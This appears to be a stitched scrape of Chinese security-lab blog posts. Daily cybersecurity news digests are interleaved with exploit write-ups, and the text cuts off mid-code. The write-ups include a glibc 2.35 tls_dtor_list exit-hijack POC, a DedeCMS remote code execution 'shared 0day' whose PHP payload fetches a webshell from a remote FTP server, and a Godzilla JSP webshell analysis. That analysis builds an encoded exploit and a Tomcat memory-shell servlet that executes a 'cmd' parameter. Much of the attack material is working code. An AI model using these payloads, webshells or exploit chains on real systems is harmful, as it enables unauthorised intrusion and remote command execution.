8、Agent Tesla 恶意软件新变种通过特制 Excel 文档传播 https://www.fortinet.com/blog/threat-research/agent-tesla-variant-spread-by-crafted-excel-document Agent Tesla 恶意软件的一个新变种正在通过网络钓鱼活动进行传播,利用 CVE-2017-11882/CVE-2018-0802 漏洞来访问受害者的设备并窃取敏感信息。 9、黑客行动主义者宣布计划在G20峰会前针对印度组织 https://thecyberexpress.com/g20-summit-2023-cyber-attack-infrastructure/ 黑客组织宣布对印度的数字基础设施进行网络攻击,这与定于2023年9月20日举行的 G20论坛时间重合。 10、研究人员发现PHPFusion CMS中的关键漏洞 https://www.darkreading.com/application-security/researchers-discover-critical-vulnerability-in-phpfusion-cms 经过身份验证的本地文件包含缺陷(编号为 CVE-2023-2453)如果攻击者可以将恶意制作的“.php”文件上传到目标系统上的已知路径,则允许远程执行代码。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
glibc2.35-通过tls_dtor_list劫持exit执行流程
前言 glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。 传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。 __call_tls_dtors 在程序返回时会通过exit函数,exit函数会经历以下调用过程 exit -> __run_exit_handlers -> __call_tls_dtors 而__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下: 判断tls_dtor_list为空 不为空则将tls_dtor_list赋值给cur 取出函数指针cur->func 通过PTR_DEMANGLE宏解密指针值 执行函数指针 void __call_tls_dtors (void) {  while (tls_dtor_list)   {      struct dtor_list *cur = tls_dtor_list;      dtor_func func = cur->func; #ifdef PTR_DEMANGLE      PTR_DEMANGLE (func); #endif      tls_dtor_list = tls_dtor_list->next;      func (cur->obj);      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);      free (cur);   } } 通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空 那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程 首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list中 根据上述的方法,我们成功进入后续的流程 但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。 这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下, 先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11   0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30] 也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。 那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。 POC #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned long long rotate_left(unsigned long long value, int left) { return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left)); } int main() {    unsigned long long fs_base;    unsigned long long index = 0xffffffffffffffa8;    unsigned long long tls_dtor_list_addr;    unsigned long long random_number;    void *system_ptr = (void *)&system;    printf("system:%p\n",system_ptr);    // 使用汇编嵌入获取FS寄存器的值    asm("mov %%fs:0, %0" : "=r" (fs_base));    printf("Value in FS register: 0x%llx\n", fs_base);    tls_dtor_list_addr = fs_base - 88;    random_number = *(unsigned long long *)(fs_base + 0x30);    char *str_bin_sh = malloc(0x20);    strcpy(str_bin_sh,"/bin/sh");    void *ptr = malloc(0x20);    *(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);    *(unsigned long long *)(ptr + 8)  = str_bin_sh;    *(unsigned long long *)tls_dtor_list_addr = ptr;    return 0; } 总结 简单总结一下通过tls_dtor_list劫持exit执行流程的条件 存在任意地址写的漏洞利用 能够篡改或泄露fs_base + 0x30的值 程序会通过exit函数结束程序,若是通过_exit则不行
网络安全日报 2023年09月06日
1、研究人员披露Gamaredon组织乌克兰反攻期间的活动 https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/%D0%90%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D1%96%D1%81%D1%82%D1%8C%20%D1%83%D0%B3%D1%80%D1%83%D0%BF%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8F.pdf 研究人员发布了威胁趋势的新报告,分析了 Gamaredon 组织在乌克兰反攻前夕的活动增长情况。在军事行动新阶段的背景下,俄罗斯集团的活动日益增多。特别是试图窃取秘密军事信息的活动。在乌克兰反攻之前,Gamaredon 组织准 2、研究人员披露RemcosRat恶意软件 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/peeling-back-the-layers-of-remcosrat-malware 研究人员观察到 Remcos RAT 活动,其中恶意 VBS 文件通过网络钓鱼电子邮件传递。网络钓鱼电子邮件包含 ZIP/RAR 附件。在这个 ZIP 中,有一个严重混淆的 VBS 文件。 Remcos 是一种复杂的 RAT,它为攻击者提供对受感染系统的后门访问并收集各种敏感信息。Remcos 结合了不同的混淆和反调试技术来逃避检测。RemcosRat是一种复杂的多阶段威胁。研究人员解开了该恶意软件 3、LogicMonitor客户因使用默认密码而遭到黑客攻击 https://techcrunch.com/2023/08/31/logicmonitor-customers-hit-by-hackers-because-of-default-passwords/ 网络安全公司 LogicMonitor 的一些客户因使用默认密码而遭到黑客攻击。LogicMonitor 发言人在一份声明中表示,目前正在解决影响少数客户的安全事件。我们正在与这些客户直接沟通并密切合作,采取适当措施减轻影响。该事件的起因是,直到本周,LogicMonitor 还在为客户分配默认的弱密码,例如“Welcome@”加上一个短号码。当你使用 [LogicMonitor] 设置帐户 4、攻击者针对MS SQL服务器部署FreeWorld勒索软件 https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/ 攻击者正在利用安全性较差的 Microsoft SQL (MS SQL) 服务器来传播 Cobalt Strike 和名为 FreeWorld 的勒索软件病毒。研究人员将该活动称为“DB#JAMMER”,表示该活动因其工具集和基础设施的使用方式而脱颖而出。其中一些工具包括枚举软件、RAT 有效负 5、VMware Aria SSH身份验证绕过漏洞的POC发布 https://kb.vmware.com/s/article/94152 针对最近披露并修补的影响 VMware Aria Operations for Networks(以前称为 vRealize Network Insight)的关键缺陷,已提供概念验证 (PoC) 漏洞利用代码。该缺陷的编号为CVE-2023-34039,严重程度为 9.8 分(满分 10 分),并被描述为由于缺乏唯一加密密钥生成而导致身份验证绕过的情况。具有 Aria Operations for Networks 网络访问权限的恶意行为者可以绕过 SSH 身份验证来访问 Aria Operations for N 6、黑客从加密货币博彩平台 STAKE 窃取了价值 4100 万美元的资产 https://securityaffairs.com/150401/hacking/crypto-gambling-firm-stake-hacked.html 研究人员报告称,从加密货币赌博网站 Stake 提取的资金异常大量到一个之前没有任何活动的账户,这种情况表明威胁行为者已经侵入了该平台并窃取了包括 Tether 和 Ether 在内的加密资产。 7、FREECYCLE 数据泄露影响了 700 万用户 https://securityaffairs.com/150392/security/the-freecycle-network-data-breach.html 非营利组织 Freecycle Network (Freecycle.org) 确认其遭受了数据泄露,影响了超过 700 万用户。 8、德国联邦金融监管局 (BaFin) 的网站DDoS攻击而瘫痪数日 https://securityaffairs.com/150359/hacking/ddos-attack-on-bafin.html 德国联邦金融监管局 (BaFin) 的网站因分布式拒绝服务 (DDoS) 攻击而瘫痪。 9、MITRE 和 CISA 发布用于模拟OT 攻击的开源工具 https://www.securityweek.com/mitre-and-cisa-release-open-source-tool-for-ot-attack-emulation/ MITRE 公司和美国网络安全和基础设施安全局 (CISA) 今天宣布了开源 Caldera 平台的新扩展,该平台可模拟针对运营技术 (OT) 的对抗性攻击。Caldera for OT扩展是国土安全系统工程与开发研究所 (HSSEDI) 与 CISA 合作的成果,旨在帮助提高关键基础设施的弹性。Caldera 网络安全平台提供自动对手模拟、安全评估以及红、蓝、紫组队,并使用 MITRE ATT&CK 框架 10、大量黑客针对 Okta 超管权限发起社工攻击 https://thehackernews.com/2023/09/okta-warns-of-social-engineering.html 身份服务提供商 Okta 警告称,有威胁攻击者针对该公司进行了一次社会工程攻击并获得了管理员权限。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Dedecms最新版--0day分享分析(二)
前言 接之前写的一篇https://www.yijinglab.com/specialized/20230814150207,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。 环境 下载最新版本: https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip影响版本: <=DedeCMS-V5.7.110 漏洞URL: /uploads/dede/article_string_mix.php /uploads/dede/sys_data.php /uploads/dede/sys_task.php /uploads/dede/media_add.php /uploads/dede/article_template_rand.php 漏洞详情 远程服务器开启ftp服务 控制面板 >> 程序 >> 启用或关闭windows功能 完成更改 计算机管理 添加FTP站点 配置地址以及账号密码 上面存放一句话木马 文件内容为 payload如下: <? $ftp_server = "192.168.0.102"; $ftp_username = "administrator"; $ftp_password = "147258369"; $file = "shell.php"; $local_file = "shell2.php"; // set up basic connection $conn_id = ftp_connect($ftp_server); // login with username and password $login_result = ftp_login($conn_id, $ftp_username, $ftp_password); // try to download $file and save to $local_file if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) { echo "Successfully downloaded $file\n"; } else { echo "There was a problem while downloading $file\n"; } // close the connection ftp_close($conn_id); ?> 代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。 文件保存后,访问路径 /uploads/data/template.rand.php 提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件 http://dedecms.xyz:8066/uploads/data/shell1.php 成功命令执行 漏洞分析 DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php 上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。 继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php 代码中定义了disable_funs,但是禁用的函数涉及 phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders 在上面的payload中,利用手法利用点儿在于 ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。 小结 其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。
网络安全日报 2023年09月05日
1、研究人员披露RedEyes组织利用恶意LNK传递后门 https://asec.ahnlab.com/ko/56526/ RedEyes 组织,也称为 APT37、ScarCruft ,该组织使用的恶意软件以前以 CHM 格式传播,现在以 LNK 格式传播。恶意代码通过 mshta 进程执行特定 url 中存在的附加脚本,从攻击者的服务器接收命令,并执行附加的恶意操作。经研究人员确认,已确认的 LNK 文件是由攻击者将包含恶意代码的压缩文件上传到正常站点来分发的。恶意 LNK 文件以文件名 REPORT.ZIP 上传。该文件在 LNK 内包含正常的 Excel 文档数据和恶意脚本代码。近期大量利用 CHM、LNK 的恶意代码正在传播,用户需格外 2、UAC-0057组织利用WinRAR软件漏洞进行网络攻击 https://cert.gov.ua/article/5661411 研究人员检测到 UAC-0057 组织利用 CVE-2023-38831、PicassoLoader JavaScript 变体、Rabbit 算法和 Cobalt Strike Beacon 的一次网络攻击。研究人员发现包含CVE-2023-38831漏洞利用的文件 Zbirnyk_tez_НУОУ_23.rar ,成功利用该文件将导致执行BAT文件 16872_16_2023_03049.pdf .cmd ,这将确保启动 LNK 文件 16872_16_2023_03049.lnk 的一部分,该文件使用 mshta. 3、研究人员披露Emotet银行木马再次出现 https://www.trellix.com/en-us/about/newsroom/stories/research/icymi-emotet-reappeared-early-this-year-unfortunately.html Emotet 恶意软件,也称为 Geodo 和 Heodo,是一种著名的银行木马,但也可用作其他恶意软件的下载程序或植入程序。该恶意软件于 2014 年首次出现,2021 年 1 月,Emotet 基础设施被拆除,但于当年 11 月恢复,并在 2022 年和 2023 年初增加其运营。Emotet 仍然是一种危险且有弹性的恶意软件,因为 Emotet 攻 4、AlphV勒索软件组织称针对乔治亚县进行攻击 https://therecord.media/forsyth-county-georgia-ransomware-alphv-post AlphV勒索软件组织(也称为 BlackCat)声称对佐治亚州一个大县发动了攻击,该地距亚特兰大约一小时车程。福赛斯县官员承认六月发生过袭击事件,但没有提供有关所发生事件的细节。周二,AlphV 团伙声称对此次袭击负责,并将该县添加到其泄露站点,并威胁要公开 350GB 据称被盗的数据。该县于 6 月份发出了违规通知信,警告该县超过 250000 名居民,文件在未遂攻击期间从县服务器中被删除。完成审查后,他们发现社会安全号码和驾驶执照号码被盗。调查人员搜 5、X 将从其高级用户那里收集生物识别数据用于安全和身份识别 https://securityaffairs.com/150350/digital-id/x-will-collect-biometric-data.html 社交媒体平台 X(以前称为 Twitter)更新了其隐私政策,通知其高级用户该公司将收集他们的生物识别数据以遏制欺诈和防止冒充。彭博社首先报道了 这一消息,并确认这一变化只会影响高级用户。 6、MinIO 存储系统漏洞被利用在受影响的服务器上执行任意代码 https://securityaffairs.com/150308/breaking-news/minio-storage-system-exploit.html Security Joes 研究人员观察到,一个未知的威胁参与者使用公开可用的 MinIO 对象存储系统漏洞利用链,在易受攻击的服务器上实现任意代码执行。 7、Chrome 扩展程序可以从网站窃取明文密码 https://www.bleepingcomputer.com/news/security/chrome-extensions-can-steal-plaintext-passwords-from-websites 威斯康星大学麦迪逊分校的一组研究人员已将一个概念验证扩展上传到 Chrome 网上应用店,该扩展可以从网站的源代码中窃取纯文本密码。此外,研究人员发现,许多拥有数百万访问者的网站(包括一些 Google 和 Cloudflare 门户)在其网页的 HTML 源代码中以明文形式存储密码,允许扩展程序检索它们。 8、Fitbit可能因涉嫌违反GDPR而面临11亿欧元的罚款 https://cybernews.com/news/fitbit-violates-gdpr/ 针对谷歌旗下的健康和健身公司Fitbit提出了三起投诉,该公司强迫新用户同意将高度个人数据传输到欧盟以外。 9、Clop声称通过M&T银行网络攻击导致宾夕法尼亚州数据泄露 https://thecyberexpress.com/clop-claims-the-pennsylvania-data-breach/ 在通过M&T银行黑客攻击获得马萨诸塞州居民的信息后,Clop声称宾夕法尼亚州数据泄露。 10、英国国防部数千份绝密文件被俄罗斯黑客泄露 https://www.secrss.com/articles/58460 据镜报当地时间9月2日21:21分更新的报道,英国军事和情报网站的绝密安全信息已被与俄罗斯有关的黑客在网上泄露。攻击者发布了数千页的数据,这些数据可以帮助犯罪分子进入HMNB克莱德核潜艇基地、波顿当化学武器实验室和GCHQ监听站。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言 本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。 分析 首先对该木马进行格式化,以增强代码的可读性。得到如下代码 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">    <jsp:declaration>        String xc = "3c6e0b8a9c15224a";        String pass = "pass";        String md5 = md5(pass + xc);        class X extends ClassLoader       {            public X(ClassLoader z)           {                super(z);           }            public Class Q(byte[] cb)           {                return super.defineClass(cb, 0, cb.length);           }       }        /*        * 作用:AES解密        * m:true加密,False解密        * */        public byte[] x(byte[] s, boolean m)       {            try           {                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));                return c.doFinal(s);           }            catch(Exception e)           {                return null;           }       }        /*        * 作用:md5加密        * */        public static String md5(String s)       {            String ret = null;            try           {                java.security.MessageDigest m;                m = java.security.MessageDigest.getInstance("MD5");                m.update(s.getBytes(), 0, s.length());                ret = new                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();           }            catch(Exception e)           {}            return ret;       }        /*        * 作用:base64加密        * */        public static String base64Encode(byte[] bs) throws Exception       {            Class base64;            String value = null;            try           {                base64 = Class.forName("java.util.Base64");                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]                       {                                byte[].class                       }).invoke(Encoder, new Object[]                       {                                bs                       });           }            catch(Exception e)           {                try               {                    base64 = Class.forName("sun.misc.BASE64Encoder");                    Object Encoder = base64.newInstance();                    value = (String) Encoder.getClass().getMethod("encode", new Class[]                           {                                    byte[].class                           }).invoke(Encoder, new Object[]                           {                                    bs                           });               }                catch(Exception e2)               {}           }            return value;       }        /*        * base64解密        * */        public static byte[]base64Decode(String bs) throws Exception       {            Class base64;            byte[] value = null;            try           {                base64 = Class.forName("java.util.Base64");                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]                       {                                String.class                       }).invoke(decoder, new Object[]                       {                                bs                       });           }            catch(Exception e)           {                try               {                    base64 = Class.forName("sun.misc.BASE64Decoder");                    Object decoder = base64.newInstance();                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]                           {                                    String.class                           }).invoke(decoder, new Object[]                           {                                    bs                           });               }                catch(Exception e2)               {}           }            return value;       }    </jsp:declaration>    <jsp:scriptlet>        try       {            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密            data = x(data, false);//AES解密            if(session.getAttribute("payload") == null)           {                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载           }            else           {                request.setAttribute("parameters", new String(data));                Object f = ((Class) session.getAttribute("payload")).newInstance();                f.equals(pageContext);                response.getWriter().write(md5.substring(0, 16));                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));                response.getWriter().write(md5.substring(16));           }       }        catch(Exception e){            response.getWriter().write(e.getMessage());       }    </jsp:scriptlet> </jsp:root> 前期可以交付ChatGPT初步分析,理清各个函数的基本作用: 得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容: try       {            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密            data = x(data, false);//AES解密            if(session.getAttribute("payload") == null)           {                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载           }            else           {                request.setAttribute("parameters", new String(data));                Object f = ((Class) session.getAttribute("payload")).newInstance();                f.equals(pageContext);                response.getWriter().write(md5.substring(0, 16));                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));                response.getWriter().write(md5.substring(16));           }       }        catch(Exception e){            response.getWriter().write(e.getMessage());       } 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在<jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下: EXP构建 按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。 exp.java package exp; import java.io.IOException; public class exp {    static {        try {            Runtime.getRuntime().exec("touch /tmp/gg.txt");       } catch (IOException e) {            e.printStackTrace();       }   } } 编译为class javac exp.java POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可 package Fvck; import java.io.*; class Fvck{    public static byte[] readFileToByteArray(String filePath) {        File file = new File(filePath);        byte[] fileBytes = new byte[(int) file.length()];        try (FileInputStream fis = new FileInputStream(file)) {            fis.read(fileBytes);       } catch (IOException e) {            e.printStackTrace();            return null;       }        return fileBytes;   }    public static byte[] AesEncode(byte[] s, boolean m)   {        String xc = "3c6e0b8a9c15224a";        try       {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));            return c.doFinal(s);       }        catch(Exception e)       {            return null;       }   }    public static String base64Encode(byte[] bs) throws Exception   {        Class base64;        String value = null;        try       {            base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]                   {                            byte[].class                   }).invoke(Encoder, new Object[]                   {                            bs                   });       }        catch(Exception e)       {            try           {                base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = (String) Encoder.getClass().getMethod("encode", new Class[]                       {                                byte[].class                       }).invoke(Encoder, new Object[]                       {                                bs                       });           }            catch(Exception e2)           {}       }        return value;   }    public static void main(String[] args) throws Exception {        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));        System.out.println(result);   } } 内存马注入 寻找Request Java Object Searcher 基本使用方法 IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址 将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如: /Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。 在Tomcat上随便找个地方断点,后打开Evaluate 代码中设置日志输出文件夹,点击Evaluate //设置搜索类型包含Request关键字的对象 List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("/Users/gqleung/Desktop"); searcher.searchObject(); 在运行结束后会输出日志到保存的文件夹: 在其中找一条链子 TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler 创建一个线程根据上面链子寻找 代码编写 与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。 获取group Thread thread = Thread.currentThread();//获取线程对象Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值 获取threads 获取threads方法与获取group基本一致 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); 我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; 获取target 在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替. /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); 获取this$0 获取方法以及原因同上 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); 获取handler 这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看 我们却发现还是报错了,报错提示并不存在handler这个字段 我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler 我们直接尝试从这个包获取handler,发现获取成功 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); /*获取handler*/ Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0); 获取global 在获取到handler之后直接通过getClass获取即可 /*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared 回显链最终代码 /*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared 结合内存马 import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.coyote.RequestGroupInfo; import javax.servlet.ServletContext; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList; public class exp extends HttpServlet {    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {        response.setContentType("text/html");        String cmd = request.getParameter("cmd");        PrintWriter out = response.getWriter();        try {            Process ps = Runtime.getRuntime().exec(cmd);            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));            StringBuffer sb = new StringBuffer();            String line;            while ((line = br.readLine()) != null) {                sb.append(line).append("\n");           }            String result = sb.toString();            out.print(result);       } catch (Exception e) {            e.printStackTrace();       }   }    static {        try {            Thread thread = Thread.currentThread();            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");            group.setAccessible(true);        